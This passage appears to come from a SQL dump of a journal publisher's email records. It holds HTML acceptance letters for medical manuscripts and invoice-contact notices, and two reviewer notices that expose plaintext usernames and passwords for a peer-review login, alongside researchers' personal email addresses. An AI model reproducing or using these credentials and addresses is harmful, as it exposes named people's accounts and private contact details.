width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12987</b><br />\r\n            <br />\r\n            Article Title: <b>Covid-19 Epidemiology in Kabul, Afghanistan </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Abdul Rafey Popalzai</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-12987</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prabhat_k<br />\r\n            <b>Password:</b> TZTd1Vwt<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sharmapk@chop.edu',12987,'2022-09-12',988),(4139,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-12987</b><br />\r\n            <br />\r\n            Article Title: <b>Covid-19 Epidemiology in Kabul, Afghanistan </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Popalzai</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','popalzairafey@gmail.com',12987,'2022-09-12',988),(4140,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13038</b><br />\r\n            <br />\r\n            Article Title: <b>Tissue Engineering Collagen-Based Implants for Corneal Regeneration</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Emma Grace Oreskovic</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b> Ifeanyi</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-13038</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> obeagu,_emmanuel<br />\r\n            <b>Password:</b> Pi0o0JgP<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','emmanuelobeagu@yahoo.com',13038,'2022-09-15',988),(4141,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13038</b><br />\r\n            <br />\r\n            Article Title: <b>Tissue Engineering Collagen-Based Implants for Corneal Regeneration</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Oreskovic</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rmhkego@ucl.ac.uk',13038,'2022-09-15',988),(4142,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13038</b><br />\r\n            <br />\r\n            Article Title: <b>Tissue Engineering Collagen-Based Implants for Corneal Regeneration</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Oreskovic</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rmhkego@ucl.ac.uk',13038,'2022-09-19',988),(4143,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12856</b><br />\r\n            <br />\r\n            Article Title: <b>ALZHEIMER&acirc;&euro;&trade;S DISEASE - A NEURODEGENERATIVE FIGHT !</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>patel</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','akshatpatel1925@gmail.com',12856,'2022-09-19',75),(4144,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacr-22-13047</b><br />\r\n            <br />\r\n            Article Title: <b>A RARE CONGENITAL CONDITION DYSKERATOSIS CONGENITA PRESENTING WITH CARCINOMA HYPOPHARYNX IN A 16 YEAR OLD CHILD</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-in-cancer-research.html\" target=\"_blank\">Archives in Cancer Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>VALLEPALLI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives in Cancer Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-in-cancer-research.html\">Archives in Cancer Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','avinash16valle@gmail.com',13047,'2022-09-19',972),(4145,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13059</b><br />\r\n            <br />\r\n            Article Title: <b>Diverse applications of Electrostimulation and its future prospects </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tripathi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','stripathi@joharidigital.com',13059,'2022-09-19',988),(4146,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12861</b><br />\r\n            <br />\r\n            Article Title: <b>Godtfredsen Syndrome- A Rare Combination</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Emani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','emaniajay@gmail.com',12861,'2022-09-21',75),(4147,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12858</b><br />\r\n            <br />\r\n            Article Title: <b>?-Amyloid Peptide and the Alzheimer&rsquo;s Disease</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dahal</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dahaltshetiz21@gmail.com',12858,'2022-09-21',75),(4148,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12977</b><br />\r\n            <br />\r\n            Article Title: <b>Migraine with aura, a significant and independent risk factor for ischemic stroke</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>AGBA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','thierrielle@gmail.com',12977,'2022-09-21',75),(4149,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-12912</b><br />\r\n            <br />\r\n            Article Title: <b>Metabolic Syndrome and its Associated Factors among adult patients attending Outpatients Clinics at Wolaita Sodo University Comprehensive Specialized Hospital, Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Anjulo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','teanjulo@gmail.com',12912,'2022-09-22',48),(4150,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-13008</b><br />\r\n            <br />\r\n            Article Title: <b>Iatrogenic segmental Artery Aneurysmal Hemorrhage: Diagnosis, Management, and Prognosis: case report and review of the literature </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>farrokhi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','farokhim1401@gmail.com',13008,'2022-09-22',75),(4151,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-13048</b><br />\r\n            <br />\r\n            Article Title: <b>KNOWLEDGE, ATTITUDES AND PRACTICES OF NURSES IN TRAINING AND PROFESSIONAL NURSES ON SLEEP APNEES SYNDROME IN KARA IN 2020</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>KUMAKO</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kuvinkov@hotmail.com',13048,'2022-09-24',75),(4152,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-13049</b><br />\r\n            <br />\r\n            Article Title: <b>DIABETIC DISTAL POLYNEUROPATHY IN OUTPATIENT SETTINGS IN TOGO</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>KUMAKO</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-09-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/neurology-and-neuroscience.html\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','vincent_kumako@yahoo.fr',13049,'2022-09-26',75),(4153,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13040</b><br />\r\n            <br />\r\n            Article Title: <b>Iron Ferritin,TIBC and Reticulocyte count in cases of Haemolytic anaemia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Verma</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-10-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hemistpriyanka@gmail.com',13040,'2022-10-17',48),(4154,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13062</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of Knowledge about Danger Signs of Pregnancy and Its Associated Factors among Women in Akaki Kality Sub-city, Addis Ababa, Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Feleke</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-10-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yirgalemfl@gmail.com',13062,'2022-10-18',48),(4155,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            